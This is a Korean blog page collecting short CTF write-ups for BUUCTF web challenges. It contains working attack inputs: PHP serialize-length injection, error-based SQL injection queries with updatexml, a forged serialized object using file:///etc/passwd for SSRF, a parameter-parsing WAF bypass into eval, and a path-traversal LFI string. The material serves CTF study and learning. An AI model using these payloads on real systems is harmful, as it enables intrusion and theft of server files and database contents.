php의 뭐같음을 다시한번 느낄 수 있었던 문제..

 

첨에 들어가면 로그인페이지 하나 준다. 뭐 별다른것도 없고 가입하기도 안보여서 어떻게해야하지.. 하면서 dir 브포 돌렸는데..

 

 

흠....

 

 

 

쨌든 소스코드 릭이 됐다.

 

분석을 해보면

 

register.php
update.php
profile.php

 

class.php - 1
class.php - 2

 

(숨겨진) register.php로 가입을 할수 있는데(?) 기본적으로 select, insert, update 문이 따로 구현이 되어있고, 이 query들에 user input을 전달하기 전에 filter 함수를 통과한다.

 

보통 filter함수는 preg_match로 탐지하여 승인/거부를 하는게 보통인데 여기선 특이하게 preg_replace를 통해 치환조치를 한다.

 

처음 보기엔 너무 안전해보여서 (?) 좀  많이 헤매다 결국 라업보고 풀게 된 문제이다.

 

 

쨌든, config.php에 flag가 변수로 박혀있는데, 이로 미루어보아 profile.php의 file_get_contents($profile['photo'])에 photo를 오염시켜 config.php를 불러오도록 lfi를 터트려야 하는게 최종 목적일것이다.

 


이 문제를 풀면서 가장 멘붕이 왔던 부분은 바로 이것이다.

 

 

???

 

serialize()를 수행하면 string 형태의 serialized data가 나오게 되는데, 이 때 구분자는 "(double quote)이다. 

 

그런데 사용자가 입력한 double quote가 그대로 삽입이 된다.

 

물론 s:6 <- 여기 이 문자열 길이로 체크하여 unserialize때 반영하긴 하지만 그대로 삽입된다는게 신선한 충격이었다.

 

(다른언어도 이런가 확인해보니, python의 pickle / ruby의 marshal 모두 serialized data의 구분자로 쓰이는 문자가 input에 들어갔을 경우 별도의 escaping logic이 존재했다)

 

 

어쨌든 이걸 이용하여 우리는 php serialize 함수에 injection attack을 해볼것이다.

 

 

1. filter함수는 "select, update, insert, delete, where"등 문자가 나오면 "hacker"로 치환시키는 함수이다.

 

2. update.php에서 user input을 통해 update를 수행하는 과정은 아래와 같다.

 ㄱ. post method로 전달된 user input이 존재하는지 확인

 ㄴ. username = $_SESSION['username'];

 ㄷ. phone number, email, nickname을 차례대로 정규식으로 검사, 검사결과가 맞지 않으면 die

  ㄷ-1. phone number - /\d{11$/ (attack impossible)

  ㄷ-2. email - (생략) (attack impossible)

  ㄷ-3. /[^a-zA-Z0-9_]/ && strlen($_POST['nickname']) <= 10 

    -> nickname[]=asdf

    -> strlen(['asdf']) == 0

 

 3. $profile dictionary에 user input information을 저장

 

 4. serialize($profile) 수행

 

 5. filter(serialize($profile)) 수행

 

 6. update 수행

 

- profile.php -

 

 7. select profile from users;

 

 8. unserialize($profile);

 

 9. file_get_contents(unserialize($profile)['photo']);

 


serialized data 이후에 filter 함수가 수행되므로 preg_replace는 serialized data에 직접 수행된다.

 

a:4:{s:5:"phone";s:11:"01073745280";s:5:"email";s:8:"aa@a.com";s:8:"nickname";a:1:{i:0;s:4:"asdf";}s:5:"photo";s:39:"upload/01234567890123456789012345678912";}

 

serialized data는 위와 같은데, 우리가 nickname[]=asdf를 넣게되면 위와같이 된다.

 

a:4:{s:5:"phone";s:11:"01073745280";s:5:"email";s:8:"aa@a.com";s:8:"nickname";a:1:{i:0;s:4:"asdf";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/01234567890123456789012345678912";}

위와같이 injection을 하게되면 nickname 뒤에있는 photo의 field value를 우리가 원하는 임의 값으로 쓸 수 있다.

 

php unserialize함수에선 앞에서부터 length를 해석하여 다 해석하면 그 뒤에부분을 버리기 때문에 a:4로 설정된 4개의 값 이후에 있는 injection 뒤의 찌꺼기 부분은 무시된다. 따라서 위와같이 injection된다면 unserialize($profile)['photo']는 'config.php'가 될것이다.

 

하지만 우리가 문자열을 삽입해주면 nickname 배열 안의 값 길이(s:{len})가 변하게 되는데, 우리가 만약 where를 넣게 된다면 hacker로 치환되며 1글자를 이득(?) 볼 수 있다.

 

따라서 우리가 본래 삽입부분 외에 넣어야 할 글자 - ";}s:5:"photo";s:10:"config.php";}- 의 길이수만큼 where를 넣는다면 글자수가 딱 맞게 될것이다.

 

 

 

login, join이 있따.

 

특이하게 blog를 입력받는다

 

가입하고 내 username 클릭해보면 이렇게 내가 입력한 정보들이 나타나고, 밑에 frame에 blog주소를 띄워준다.

 

 

robots.txt를 보면 /user.php.bak을 준다.

 

소스를 받아보면,

 

대놓고 ssrf 취약점이 있는데 isValidBlog로 인해 정상적인 가입으로는 file:// 같은 스키마를 사용할 수 없다.

 

 

 

 

아까 게시판 같은 기능을 좀 더 살펴보면 no에 sqli vuln이 있는것을 확인할 수 있다.

 

몇가지 좀 하다보면 union sqli attack이 가능한것을 확인할 수 있다. union이랑 공백이 같이오면 ban이라 /**/로 우회했다.

 

error based sqli로 데이터를 가져와보자

 

/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

 

/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#

 

/view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

 

대충 가져와보면 글자수 짤리는게 있는데 그런건 substr로 잘 잘라서 찔끔씩 보면 보인다.

 

어쨌든 스키마,테이블,컬럼, 내부데이터 다 추출해보면

 

#fakebook
 - users
  -> no
  -> username
  -> passwd
  -> data
  -> USER
  -> CURRENT_CONNECTIONS
  -> TOTAL_CONNECTIONS

이런 구조가 된다.

 

아직 모르는게 많아서 no,username,passwd,data 까지는 일반적인 데이타인데 뒤에 USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS 얘네는 뭐하는 애들인지 잘 모르겠다. 외부 table이랑 join된건가? 아니면 view랑 join된건가..?

 

어쨌든 필요한건 data인데, 앞에 no, username, passwd는 우리가 입력한 값이 박히는데(passwd는 해싱돼서 박히긴한다) data는 뭔가 구조가 이상꾸리하게 생겼다.

 

O:8:"UserInfo":3:{s:4:"name";s:4:"asdf";s:3:"age";i:1;s:4:"blog";s:13:"http://a.com/";}

sqli 하다보면 serialize() 에러가 종종 뜨는데, 딱 생긴것만 봐도 serialize/unserialize인걸 모른다면 그런 에러메세지로 유추할 수도 있다.

 

이제 이걸 union에 넣으면 우리가 원하는 데이터를 unserialize해서 화면에 뿌려줄것이다.

 

O:8:"UserInfo":3:{s:4:"name";s:4:"asdf";s:3:"age";i:1;s:4:"blog";s:18:"file:///etc/passwd";}

 

이제 flag.php를 같은 방식으로 가져오면,

 

계산기

 

버튼 투르면 /calc.php?num= 로 ajax request 날린다

 

eval($_GET[num])으로 서버단 코드를 예상해볼 수 있다

 

근데 필터링이 좀 있는데 0x4 같은 16진수 표현도 안되는거 보니 '/[0-9]/'로 필터링 걸려있는 것 같다.

 

 

역시 또 한참 헤매다 라업 봤는데

 

와.. 이건 진짜 몰랐다.

 

 

?num=0x1   -> filtered

?%20num=0x1  -> ok  - num=1

?%20num[123=0x1  -> ok - num_123=1

?%20num[123%00456=0x1  -> ok -num_123=1

 

 

waf와 php에서 uri를 파싱하여 파라미터를 가져오는 방식의 차이에서 발생할수도 있는 문제라고 한다.

 

뭐.. 쨌든 이렇게 구하면 var_dump(scandir('/')) 이런거 하면 되는데

 

'," 이런것도 필터링이라 그냥 var_dump(scandir(chr(0x2f))) 이런거 해보면 될거같다

 

ㅇㅋㅇㅋ

 

var_dump(file_get_contents(var_dump(file_get_contents(chr(0x2f).chr(0x66).chr(0x31).chr(0x61).chr(0x67).chr(0x67)))

 

대망의 BUUCTF 라업 시작,,,

 

@posix의 소개로 중국 워게임 사이트를 알게 되었다.

 

본래 워게임 풀어도 귀찮아서 라업을 잘 안쓰는 나지만 CTF 분야 중 웹은 아카이빙 해둔 곳이 보기 드물기에 아주 반가운 사이트.

 

안그래도 워게임은 풀게 없고 CTF는 간헐적으로 열려서 굶주려있던 찰나에 잘된 것 같다.

 

앞에서부터 차례로 뿌시기 시작!!

 

다만 아직도 쓰기 귀찮은건 여전하니 간략히 내 기억을 remind 할 수 있을 정도로만 적고 넘어가겠다.

 

 

각설하고

 


 

왜인지 첫문제부터 난이도가 좀 있어서 당황했다. 1595명이나 solving 했다는데,, 역시 중국의 맨파워는 대단한건가

 

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

 

핵심은 $whitelist 로 source.php나 hint.php만 받고 몇가지 필터링을 통과하면 include로 LFI(Local File Inclusion)할 수 있는것.

 

나중에 알았는데 phpmyadmin에서 발생했던 1day 라고 하는것 같다.

 

보통 substr을 쓸텐데 mb_substr을 쓰고 urldecode -> mb_substr을 하는게 힌트라면 힌트.

 

 

 

?file=hint.php%253f/../../../../../../etc/passwd

 

LFI 성공!

'Web > BUUCTF' 카테고리의 다른 글

[BUUCTF] - [强网杯 2019]高明的黑客1  (0) 2020.02.14
[BUUCTF] - [HCTF 2018]admin1  (0) 2020.02.13
[BUUCTF] - [SUCTF 2019]EasySQL1  (0) 2020.02.13
[BUUCTF] - [护网杯 2018]easy_tornado1  (0) 2020.02.13
[BUUCTF] - [强网杯 2019]随便注1  (0) 2020.02.12

+ Recent posts